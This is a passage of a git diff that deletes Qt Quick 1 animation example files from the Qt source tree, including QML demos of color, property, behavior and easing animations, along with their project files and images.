tools on the path specified when Qt is -configured. - -On Unix/Linux: - -The qtdemo executable is installed alongside the other Qt tools on the path -specified when Qt is configured. - -On all platforms: - -The source code for the launcher can be found in the demos/qtdemo directory -in the Qt package. This example is built at the same time as the Qt libraries, -tools, examples, and demonstrations. diff --git a/examples/declarative/qtquick1/animation/animation.qmlproject b/examples/declarative/qtquick1/animation/animation.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/animation/animation.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/animation/basics/basics.qmlproject b/examples/declarative/qtquick1/animation/basics/basics.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/animation/basics/basics.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/animation/basics/color-animation.qml b/examples/declarative/qtquick1/animation/basics/color-animation.qml deleted file mode 100644 index 105fa3f55e..0000000000 --- a/examples/declarative/qtquick1/animation/basics/color-animation.qml +++ /dev/null @@ -1,110 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import Qt.labs.particles 1.0 - -Item { - id: window - width: 640; height: 480 - - // Let's draw the sky... - Rectangle { - anchors { left: parent.left; top: parent.top; right: parent.right; bottom: parent.verticalCenter } - gradient: Gradient { - GradientStop { - position: 0.0 - SequentialAnimation on color { - loops: Animation.Infinite - ColorAnimation { from: "DeepSkyBlue"; to: "#0E1533"; duration: 5000 } - ColorAnimation { from: "#0E1533"; to: "DeepSkyBlue"; duration: 5000 } - } - } - GradientStop { - position: 1.0 - SequentialAnimation on color { - loops: Animation.Infinite - ColorAnimation { from: "SkyBlue"; to: "#437284"; duration: 5000 } - ColorAnimation { from: "#437284"; to: "SkyBlue"; duration: 5000 } - } - } - } - } - - // the sun, moon, and stars - Item { - width: parent.width; height: 2 * parent.height - NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Animation.Infinite } - Image { - source: "images/sun.png"; y: 10; anchors.horizontalCenter: parent.horizontalCenter - rotation: -3 * parent.rotation - } - Image { - source: "images/moon.png"; y: parent.height - 74; anchors.horizontalCenter: parent.horizontalCenter - rotation: -parent.rotation - } - Particles { - x: 0; y: parent.height/2; width: parent.width; height: parent.height/2 - source: "images/star.png"; angleDeviation: 360; velocity: 0 - velocityDeviation: 0; count: parent.width / 10; fadeInDuration: 2800 - SequentialAnimation on opacity { - loops: Animation.Infinite - NumberAnimation { from: 0; to: 1; duration: 5000 } - NumberAnimation { from: 1; to: 0; duration: 5000 } - } - } - } - - // ...and the ground. - Rectangle { - anchors { left: parent.left; top: parent.verticalCenter; right: parent.right; bottom: parent.bottom } - gradient: Gradient { - GradientStop { - position: 0.0 - SequentialAnimation on color { - loops: Animation.Infinite - ColorAnimation { from: "ForestGreen"; to: "#001600"; duration: 5000 } - ColorAnimation { from: "#001600"; to: "ForestGreen"; duration: 5000 } - } - } - GradientStop { position: 1.0; color: "DarkGreen" } - } - } -} diff --git a/examples/declarative/qtquick1/animation/basics/images/face-smile.png b/examples/declarative/qtquick1/animation/basics/images/face-smile.png deleted file mode 100644 index 3d66d72578..0000000000 Binary files a/examples/declarative/qtquick1/animation/basics/images/face-smile.png and /dev/null differ diff --git a/examples/declarative/qtquick1/animation/basics/images/moon.png b/examples/declarative/qtquick1/animation/basics/images/moon.png deleted file mode 100644 index 9407b2b4f0..0000000000 Binary files a/examples/declarative/qtquick1/animation/basics/images/moon.png and /dev/null differ diff --git a/examples/declarative/qtquick1/animation/basics/images/shadow.png b/examples/declarative/qtquick1/animation/basics/images/shadow.png deleted file mode 100644 index 8270565e87..0000000000 Binary files a/examples/declarative/qtquick1/animation/basics/images/shadow.png and /dev/null differ diff --git a/examples/declarative/qtquick1/animation/basics/images/star.png b/examples/declarative/qtquick1/animation/basics/images/star.png deleted file mode 100644 index 27ef924267..0000000000 Binary files a/examples/declarative/qtquick1/animation/basics/images/star.png and /dev/null differ diff --git a/examples/declarative/qtquick1/animation/basics/images/sun.png b/examples/declarative/qtquick1/animation/basics/images/sun.png deleted file mode 100644 index 7713ca5ce7..0000000000 Binary files a/examples/declarative/qtquick1/animation/basics/images/sun.png and /dev/null differ diff --git a/examples/declarative/qtquick1/animation/basics/property-animation.qml b/examples/declarative/qtquick1/animation/basics/property-animation.qml deleted file mode 100644 index 927c1c3a6c..0000000000 --- a/examples/declarative/qtquick1/animation/basics/property-animation.qml +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: window - width: 320; height: 480 - - // Let's draw the sky... - Rectangle { - anchors { left: parent.left; top: parent.top; right: parent.right; bottom: parent.verticalCenter } - gradient: Gradient { - GradientStop { position: 0.0; color: "DeepSkyBlue" } - GradientStop { position: 1.0; color: "LightSkyBlue" } - } - } - - // ...and the ground. - Rectangle { - anchors { left: parent.left; top: parent.verticalCenter; right: parent.right; bottom: parent.bottom } - gradient: Gradient { - GradientStop { position: 0.0; color: "ForestGreen" } - GradientStop { position: 1.0; color: "DarkGreen" } - } - } - - // The shadow for the smiley face - Image { - anchors.horizontalCenter: parent.horizontalCenter - y: smiley.minHeight + 58 - source: "images/shadow.png" - - // The scale property depends on the y position of the smiley face. - scale: smiley.y * 0.5 / (smiley.minHeight - smiley.maxHeight) - } - - Image { - id: smiley - property int maxHeight: window.height / 3 - property int minHeight: 2 * window.height / 3 - - anchors.horizontalCenter: parent.horizontalCenter - y: minHeight - source: "images/face-smile.png" - - // Animate the y property. Setting loops to Animation.Infinite makes the - // animation repeat indefinitely, otherwise it would only run once. - SequentialAnimation on y { - loops: Animation.Infinite - - // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function - NumberAnimation { - from: smiley.minHeight; to: smiley.maxHeight - easing.type: Easing.OutExpo; duration: 300 - } - - // Then move back to minHeight in 1 second, using the OutBounce easing function - NumberAnimation { - from: smiley.maxHeight; to: smiley.minHeight - easing.type: Easing.OutBounce; duration: 1000 - } - - // Then pause for 500ms - PauseAnimation { duration: 500 } - } - } -} diff --git a/examples/declarative/qtquick1/animation/behaviors/SideRect.qml b/examples/declarative/qtquick1/animation/behaviors/SideRect.qml deleted file mode 100644 index 8351b6a59a..0000000000 --- a/examples/declarative/qtquick1/animation/behaviors/SideRect.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: myRect - - property string text - - width: 75; height: 50 - radius: 6 - color: "#646464" - border.width: 4; border.color: "white" - - MouseArea { - anchors.fill: parent - hoverEnabled: true - onEntered: { - focusRect.x = myRect.x - focusRect.y = myRect.y - focusRect.text = myRect.text - } - } -} diff --git a/examples/declarative/qtquick1/animation/behaviors/behavior-example.qml b/examples/declarative/qtquick1/animation/behaviors/behavior-example.qml deleted file mode 100644 index 39e72c3723..0000000000 --- a/examples/declarative/qtquick1/animation/behaviors/behavior-example.qml +++ /dev/null @@ -1,118 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 600; height: 400 - color: "#343434" - - Rectangle { - anchors.centerIn: parent - width: 200; height: 200 - radius: 30 - color: "transparent" - border.width: 4; border.color: "white" - - - SideRect { - id: leftRect - anchors { verticalCenter: parent.verticalCenter; horizontalCenter: parent.left } - text: "Left" - } - - SideRect { - id: rightRect - anchors { verticalCenter: parent.verticalCenter; horizontalCenter: parent.right } - text: "Right" - } - - SideRect { - id: topRect - anchors { verticalCenter: parent.top; horizontalCenter: parent.horizontalCenter } - text: "Top" - } - - SideRect { - id: bottomRect - anchors { verticalCenter: parent.bottom; horizontalCenter: parent.horizontalCenter } - text: "Bottom" - } - - - Rectangle { - id: focusRect - - property string text - - x: 62; y: 75; width: 75; height: 50 - radius: 6 - border.width: 4; border.color: "white" - color: "firebrick" - - // Set an 'elastic' behavior on the focusRect's x property. - Behavior on x { - NumberAnimation { easing.type: Easing.OutElastic; easing.amplitude: 3.0; easing.period: 2.0; duration: 300 } - } - - // Set an 'elastic' behavior on the focusRect's y property. - Behavior on y { - NumberAnimation { easing.type: Easing.OutElastic; easing.amplitude: 3.0; easing.period: 2.0; duration: 300 } - } - - Text { - id: focusText - text: focusRect.text - anchors.centerIn: parent - color: "white" - font.pixelSize: 16; font.bold: true - - // Set a behavior on the focusText's x property: - // Set the opacity to 0, set the new text value, then set the opacity back to 1. - Behavior on text { - SequentialAnimation { - NumberAnimation { target: focusText; property: "opacity"; to: 0; duration: 150 } - NumberAnimation { target: focusText; property: "opacity"; to: 1; duration: 150 } - } - } - } - } - } -} diff --git a/examples/declarative/qtquick1/animation/behaviors/behaviors.qmlproject b/examples/declarative/qtquick1/animation/behaviors/behaviors.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/animation/behaviors/behaviors.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/animation/behaviors/wigglytext.qml b/examples/declarative/qtquick1/animation/behaviors/wigglytext.qml deleted file mode 100644 index ded57a411d..0000000000 --- a/examples/declarative/qtquick1/animation/behaviors/wigglytext.qml +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: container - - property string text: "Drag this text..." - property bool animated: true - - width: 640; height: 480; color: "#474747"; focus: true - - Keys.onPressed: { - if (event.key == Qt.Key_Delete || event.key == Qt.Key_Backspace) - container.remove() - else if (event.text != "") { - container.append(event.text) - } - } - - function append(text) { - container.animated = false - var lastLetter = container.children[container.children.length - 1] - var newLetter = letterComponent.createObject(container) - newLetter.text = text - newLetter.follow = lastLetter - container.animated = true - } - - function remove() { - if (container.children.length) - container.children[container.children.length - 1].destroy() - } - - function doLayout() { - var follow = null - for (var i = 0; i < container.text.length; ++i) { - var newLetter = letterComponent.createObject(container) - newLetter.text = container.text[i] - newLetter.follow = follow - follow = newLetter - } - } - - Component { - id: letterComponent - Text { - id: letter - property variant follow - - x: follow ? follow.x + follow.width : container.width / 3 - y: follow ? follow.y : container.height / 2 - - font.pixelSize: 40; font.bold: true - color: "#999999"; styleColor: "#222222"; style: Text.Raised - - MouseArea { - anchors.fill: parent - drag.target: letter; drag.axis: Drag.XandYAxis - onPressed: letter.color = "#dddddd" - onReleased: letter.color = "#999999" - } - - Behavior on x { enabled: container.animated; SpringAnimation { spring: 3; damping: 0.3; mass: 1.0 } } - Behavior on y { enabled: container.animated; SpringAnimation { spring: 3; damping: 0.3; mass: 1.0 } } - } - } - - Component.onCompleted: doLayout() -} diff --git a/examples/declarative/qtquick1/animation/easing/content/QuitButton.qml b/examples/declarative/qtquick1/animation/easing/content/QuitButton.qml deleted file mode 100644 index 8161613e89..0000000000 --- a/examples/declarative/qtquick1/animation/easing/content/QuitButton.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -Image { - source: "quit.png" - scale: quitMouse.pressed ? 0.8 : 1.0 - smooth: quitMouse.pressed - MouseArea { - id: quitMouse - anchors.fill: parent - anchors.margins: -10 - onClicked: Qt.quit() - } -} diff --git a/examples/declarative/qtquick1/animation/easing/content/quit.png b/examples/declarative/qtquick1/animation/easing/content/quit.png deleted file mode 100644 index b822057d4e..0000000000 Binary files a/examples/declarative/qtquick1/animation/easing/content/quit.png and /dev/null differ diff --git a/examples/declarative/qtquick1/animation/easing/easing.qml b/examples/declarative/qtquick1/animation/easing/easing.qml deleted file mode 100644 index 91a398a58e..0000000000 --- a/examples/declarative/qtquick1/animation/easing/easing.qml +++ /dev/null @@ -1,159 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" - -Rectangle { - id: window - width: 600; height: 460; color: "#232323" - - ListModel { - id: easingTypes - ListElement { name: "Easing.Linear"; type: Easing.Linear; ballColor: "DarkRed" } - ListElement { name: "Easing.InQuad"; type: Easing.InQuad; ballColor: "IndianRed" } - ListElement { name: "Easing.OutQuad"; type: Easing.OutQuad; ballColor: "Salmon" } - ListElement { name: "Easing.InOutQuad"; type: Easing.InOutQuad; ballColor: "Tomato" } - ListElement { name: "Easing.OutInQuad"; type: Easing.OutInQuad; ballColor: "DarkOrange" } - ListElement { name: "Easing.InCubic"; type: Easing.InCubic; ballColor: "Gold" } - ListElement { name: "Easing.OutCubic"; type: Easing.OutCubic; ballColor: "Yellow" } - ListElement { name: "Easing.InOutCubic"; type: Easing.InOutCubic; ballColor: "PeachPuff" } - ListElement { name: "Easing.OutInCubic"; type: Easing.OutInCubic; ballColor: "Thistle" } - ListElement { name: "Easing.InQuart"; type: Easing.InQuart; ballColor: "Orchid" } - ListElement { name: "Easing.OutQuart"; type: Easing.OutQuart; ballColor: "Purple" } - ListElement { name: "Easing.InOutQuart"; type: Easing.InOutQuart; ballColor: "SlateBlue" } - ListElement { name: "Easing.OutInQuart"; type: Easing.OutInQuart; ballColor: "Chartreuse" } - ListElement { name: "Easing.InQuint"; type: Easing.InQuint; ballColor: "LimeGreen" } - ListElement { name: "Easing.OutQuint"; type: Easing.OutQuint; ballColor: "SeaGreen" } - ListElement { name: "Easing.InOutQuint"; type: Easing.InOutQuint; ballColor: "DarkGreen" } - ListElement { name: "Easing.OutInQuint"; type: Easing.OutInQuint; ballColor: "Olive" } - ListElement { name: "Easing.InSine"; type: Easing.InSine; ballColor: "DarkSeaGreen" } - ListElement { name: "Easing.OutSine"; type: Easing.OutSine; ballColor: "Teal" } - ListElement { name: "Easing.InOutSine"; type: Easing.InOutSine; ballColor: "Turquoise" } - ListElement { name: "Easing.OutInSine"; type: Easing.OutInSine; ballColor: "SteelBlue" } - ListElement { name: "Easing.InExpo"; type: Easing.InExpo; ballColor: "SkyBlue" } - ListElement { name: "Easing.OutExpo"; type: Easing.OutExpo; ballColor: "RoyalBlue" } - ListElement { name: "Easing.InOutExpo"; type: Easing.InOutExpo; ballColor: "MediumBlue" } - ListElement { name: "Easing.OutInExpo"; type: Easing.OutInExpo; ballColor: "MidnightBlue" } - ListElement { name: "Easing.InCirc"; type: Easing.InCirc; ballColor: "CornSilk" } - ListElement { name: "Easing.OutCirc"; type: Easing.OutCirc; ballColor: "Bisque" } - ListElement { name: "Easing.InOutCirc"; type: Easing.InOutCirc; ballColor: "RosyBrown" } - ListElement { name: "Easing.OutInCirc"; type: Easing.OutInCirc; ballColor: "SandyBrown" } - ListElement { name: "Easing.InElastic"; type: Easing.InElastic; ballColor: "DarkGoldenRod" } - ListElement { name: "Easing.OutElastic"; type: Easing.OutElastic; ballColor: "Chocolate" } - ListElement { name: "Easing.InOutElastic"; type: Easing.InOutElastic; ballColor: "SaddleBrown" } - ListElement { name: "Easing.OutInElastic"; type: Easing.OutInElastic; ballColor: "Brown" } - ListElement { name: "Easing.InBack"; type: Easing.InBack; ballColor: "Maroon" } - ListElement { name: "Easing.OutBack"; type: Easing.OutBack; ballColor: "LavenderBlush" } - ListElement { name: "Easing.InOutBack"; type: Easing.InOutBack; ballColor: "MistyRose" } - ListElement { name: "Easing.OutInBack"; type: Easing.OutInBack; ballColor: "Gainsboro" } - ListElement { name: "Easing.OutBounce"; type: Easing.OutBounce; ballColor: "Silver" } - ListElement { name: "Easing.InBounce"; type: Easing.InBounce; ballColor: "DimGray" } - ListElement { name: "Easing.InOutBounce"; type: Easing.InOutBounce; ballColor: "SlateGray" } - ListElement { name: "Easing.OutInBounce"; type: Easing.OutInBounce; ballColor: "DarkSlateGray" } - } - - Component { - id: delegate - - Item { - height: 56; width: window.width - - Text { text: name; anchors.centerIn: parent; color: "White" } - - Rectangle { - id: slot1; color: "#121212"; x: 30; height: 46; width: 46 - border.color: "#343434"; border.width: 1; radius: 12 - anchors.verticalCenter: parent.verticalCenter - } - - Rectangle { - id: slot2; color: "#121212"; x: window.width - 76; height: 46; width: 46 - border.color: "#343434"; border.width: 1; radius: 12 - anchors.verticalCenter: parent.verticalCenter - } - - Rectangle { - id: rect; x: 30; color: "#454545" - border.color: "White"; border.width: 2 - height: 46; width: 46; radius: 12 - anchors.verticalCenter: parent.verticalCenter - - MouseArea { - onClicked: if (rect.state == '') rect.state = "right"; else rect.state = '' - anchors.fill: parent - anchors.margins: -5 // Make MouseArea bigger than the rectangle, itself - } - - states : State { - name: "right" - PropertyChanges { target: rect; x: window.width - 76; color: ballColor } - } - - transitions: Transition { - NumberAnimation { properties: "x"; easing.type: type; duration: 1000 } - ColorAnimation { properties: "color"; easing.type: type; duration: 1000 } - } - } - } - } - - Flickable { - 